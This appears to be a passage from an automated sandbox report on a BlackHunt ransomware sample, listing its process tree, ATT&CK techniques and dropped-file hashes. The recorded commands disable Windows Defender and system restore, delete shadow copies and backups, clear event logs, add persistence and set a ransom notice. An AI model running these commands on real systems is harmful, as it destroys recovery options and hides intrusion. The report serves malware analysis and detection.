  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:3032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2780
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3608
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3216
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2792
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe"
  2⤵
  - Deletes itself
  PID:4032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:4040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:3124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:2896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:1320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:3564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:3752

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
1⤵
PID:2452

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
1⤵
PID:1484

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
1⤵
PID:324

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
1⤵
PID:448

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
1⤵
PID:972

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
1⤵
PID:2988

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\a8ffb25471c001f990b8df4a4ef565dbc69ac9241a5f17d1bda6f349c227b26f.exe" /F
1⤵
- Creates scheduled task(s)
PID:1572

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
1⤵
PID:2668

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
1⤵
PID:1000

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:572

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:576

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
1⤵
PID:1408

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
1⤵
PID:784

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:328

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2728

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
1⤵
PID:2072

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
1⤵
PID:2264

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
1⤵
PID:1972

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2420

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
1⤵
PID:2004

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2580

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
1⤵
PID:1640

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
1⤵
PID:3056

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
1⤵
PID:3012

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
1⤵
- Adds Run key to start application
PID:2596

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "487167770-7332201319354458341502686196993458348-85086213516759017301750831245"
1⤵
PID:2680

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2732

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
1⤵
- Modifies registry class
PID:2892

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
1⤵
- Modifies registry class
PID:2572

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:3032

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1128221281-845995210-1443148596379684301914304066100820639011103703041125149984"
1⤵
PID:2736

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
1⤵
PID:1612

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "218287157-8616637941348267646-1230473070-1419822121570670121-9165711281546320260"
1⤵
PID:2668

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1344503736-2017491828-12472296411080312992-1914103551-19250809399232655-1889145907"
1⤵
PID:848

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
1⤵
PID:3496

C:\Windows\system32\reg.exe
REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
1⤵
PID:3208

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
1⤵
- Modifies boot configuration data using bcdedit
PID:2536

C:\Windows\system32\notepad.exe
notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
1⤵
PID:3992

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 5
1⤵
- Runs ping.exe
PID:4072

C:\Windows\system32\taskkill.exe
taskkill /IM mshta.exe /f
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3780

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security /e:false
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3260

C:\Windows\system32\wbadmin.exe
wbadmin.exe delete catalog -quiet
1⤵
- Deletes backup catalog
PID:2524

C:\Windows\system32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:1888

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl System
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3036

C:\Windows\system32\fsutil.exe
fsutil.exe usn deletejournal /D C:
1⤵
- Deletes NTFS Change Journal
PID:344

C:\Windows\system32\reg.exe
reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
1⤵
PID:3380

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Security
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3420

C:\Windows\system32\schtasks.exe
SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
1⤵
PID:3644

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Setup
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3956

C:\Windows\system32\schtasks.exe
schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
1⤵
PID:3148

C:\Windows\system32\wevtutil.exe
wevtutil.exe cl Application
1⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2168

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1783061820-594925261-14710955341955368214265229693318367808-619655742-600737679"
1⤵
PID:2988

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D M:\
1⤵
- Enumerates connected drives
PID:1644

C:\Windows\system32\fsutil.exe
fsutil usn deletejournal /D F:\
1⤵
- Enumerates connected drives
PID:3776

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
58f527025463f31d3516000303e9f88d

SHA1
caf3b5cfdcff37b99f83e204ab57edcfdee9e304

SHA256
c53d3c3100fd299974b7d4ebf6fde5a9094744fdff3354606db220f83fd54c3f

SHA512
7984101990c251d6b1551762eb2d35c618670203b1a52fbda404f3547fabebff8838f56a98419494751b556b0dd502cd14db405dda3f46dfb7a5283e089ca10d

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
a46daa1e1c645783f3f8f5c468a25f64

SHA1
b0a697c4e81c084196f6cfd2eb6e74f844f3cd00

SHA256
0eb99374b2f78d8e118d4edbaade3e58d8c2189d42033fb7fd18985235d4493e

SHA512
99f4493f35d12439d45e1817da95e96fee024f98a778d0765dabbcf80457e598a1f01dd375c21a7a1932aac793e8b3a8e7ef3b3e66c1ca4acd9e994b34e87678

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
bb4ce2cf8f97e9c94f38bac5a452abf9

SHA1
9f776f0a7c664294eddc9c7131c6e04274e86a84

SHA256
dc08b687c9cae44761e92f54b45cc578271a783d6303d02bce7f0bd45577e647

SHA512
2206d5db6ff95c08780d7ec34c2c5731ac89a1902b67ae6734f52a9fa32a5e5d600e7874101309c218fa35b05bd13e7b3f95a4e8b64eb0ef42e2860c41b47d64

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads